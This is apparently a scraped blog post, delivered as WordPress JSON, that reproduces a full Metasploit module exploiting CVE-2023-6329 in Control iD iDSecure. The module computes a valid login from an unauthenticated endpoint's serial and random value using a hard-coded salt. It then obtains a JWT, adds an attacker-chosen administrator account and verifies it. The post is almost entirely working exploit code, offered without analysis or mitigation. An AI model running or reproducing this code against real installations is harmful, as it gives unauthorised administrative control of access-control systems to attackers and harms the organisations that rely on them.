class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Control iD iDSecure Authentication Bypass (CVE-2023-6329)’,
‘Description’ => %q{
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
},
‘Author’ => [
‘Michael Heinzl’, # MSF Module
‘Tenable’ # Discovery and PoC
],
‘References’ => [
[‘CVE’, ‘2023-6329’],
[‘URL’, ‘https:\/\/www.tenable.com\/security\/research\/tra-2023-36’]],
‘DisclosureDate’ => ‘2023-11-27’,
‘DefaultOptions’ => {
‘RPORT’ => 30443,
‘SSL’ => ‘True’
},
‘License’ => MSF_LICENSE,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, CONFIG_CHANGES]}
)
)<\/p>\n
register_options([
OptString.new(‘NEW_USER’, [true, ‘The new administrative user to add to the system’, Rex::Text.rand_text_alphanumeric(8)]),
OptString.new(‘NEW_PASSWORD’, [true, ‘Password for the specified user’, Rex::Text.rand_text_alphanumeric(12)])
])
end<\/p>\n
def check
begin
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/util\/configUI’)
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end<\/p>\n
return CheckCode::Unknown unless res&.code == 401<\/p>\n
data = res.get_json_document
version = data[‘Version’]return CheckCode::Unknown if version.nil?<\/p>\n
print_status(‘Got version: ‘ + version)
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new(‘4.7.43.0’)<\/p>\n
return CheckCode::Appears
end<\/p>\n
def run
# 1) Obtain the serial and passwordRandom
res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/login\/unlockGetData’)
)<\/p>\n
unless res
fail_with(Failure::Unreachable, ‘Failed to receive a reply from the server.’)
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end<\/p>\n
json = res.get_json_document
unless json.key?(‘passwordRandom’) && json.key?(‘serial’)
fail_with(Failure::UnexpectedReply, ‘Unable to retrieve passwordRandom and serial’)
end<\/p>\n
password_random = json[‘passwordRandom’]serial = json[‘serial’]print_good(‘Retrieved passwordRandom: ‘ + password_random)
print_good(‘Retrieved serial: ‘ + serial)<\/p>\n
# 2) Create passwordCustom
sha1_hash = Digest::SHA1.hexdigest(serial)
combined_string = sha1_hash + password_random + ‘cid2016’
sha256_hash = Digest::SHA256.hexdigest(combined_string)
short_hash = sha256_hash[0, 6]password_custom = short_hash.to_i(16).to_s
print_status(“Created passwordCustom: #{password_custom}”)<\/p>\n
# 3) Login with passwordCustom and passwordRandom to obtain a JWT
body = “{\\”passwordCustom\\”: \\”#{password_custom}\\”, \\”passwordRandom\\”: \\”#{password_random}\\”}”<\/p>\n
res = send_request_cgi({
‘method’ => ‘POST’,
‘ctype’ => ‘application\/json’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/login\/’),
‘data’ => body
})<\/p>\n
unless res
fail_with(Failure::Unreachable, ‘Failed to receive a reply from the server.’)
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end<\/p>\n
json = res.get_json_document
unless json.key?(‘accessToken’)
fail_with(Failure::UnexpectedReply, ‘Did not receive JWT’)
end<\/p>\n
access_token = json[‘accessToken’]print_good(‘Retrieved JWT: ‘ + access_token)<\/p>\n
# 4) Add a new administrative user
body = {
idType: ‘1’,
name: datastore[‘NEW_USER’],
user: datastore[‘NEW_USER’],
newPassword: datastore[‘NEW_PASSWORD’],
password_confirmation: datastore[‘NEW_PASSWORD’]}.to_json<\/p>\n
res = send_request_cgi({
‘method’ => ‘POST’,
‘ctype’ => ‘application\/json’,
‘headers’ => {
‘Authorization’ => “Bearer #{access_token}”
},
‘uri’ => normalize_uri(target_uri.path, ‘api\/operator\/’),
‘data’ => body
})<\/p>\n
unless res
fail_with(Failure::Unreachable, ‘Failed to receive a reply from the server.’)
end<\/p>\n
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end<\/p>\n
json = res.get_json_document
unless json.key?(‘code’) && json[‘code’] == 200 && json.key?(‘error’) && json[‘error’] == ‘OK’
fail_with(Failure::UnexpectedReply, ‘Received unexpected value for code and\/or error:\\n’ + json.to_s)
end<\/p>\n
# 5) Confirm credentials work
body = {
username: datastore[‘NEW_USER’],
password: datastore[‘NEW_PASSWORD’],
passwordCustom: nil
}.to_json<\/p>\n
res = send_request_cgi({
‘method’ => ‘POST’,
‘ctype’ => ‘application\/json’,
‘uri’ => normalize_uri(target_uri.path, ‘api\/login\/’),
‘data’ => body
})<\/p>\n
unless res
fail_with(Failure::Unreachable, ‘Failed to receive a reply from the server.’)
end<\/p>\n
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end<\/p>\n
json = res.get_json_document
unless json.key?(‘accessToken’) && json.key?(‘unlock’)
fail_with(Failure::UnexpectedReply, ‘Received unexpected reply:\\n’ + json.to_s)
end<\/p>\n
store_valid_credential(user: datastore[‘NEW_USER’], private: datastore[‘NEW_PASSWORD’], proof: json.to_s)
print_good(“New user ‘#{datastore[‘NEW_USER’]}:#{datastore[‘NEW_PASSWORD’]}’ was successfully added.”)
print_good(“Login at: #{full_uri(normalize_uri(target_uri, ‘#\/login’))}”)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheckCheckCode = Exploit::CheckCode def initialize(info = {})super(update_info(info,‘Name’ => ‘Control iD iDSecure Authentication Bypass (CVE-2023-6329)’,‘Description’ => %q{This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows anunauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59306","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59306","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59306"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59306\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}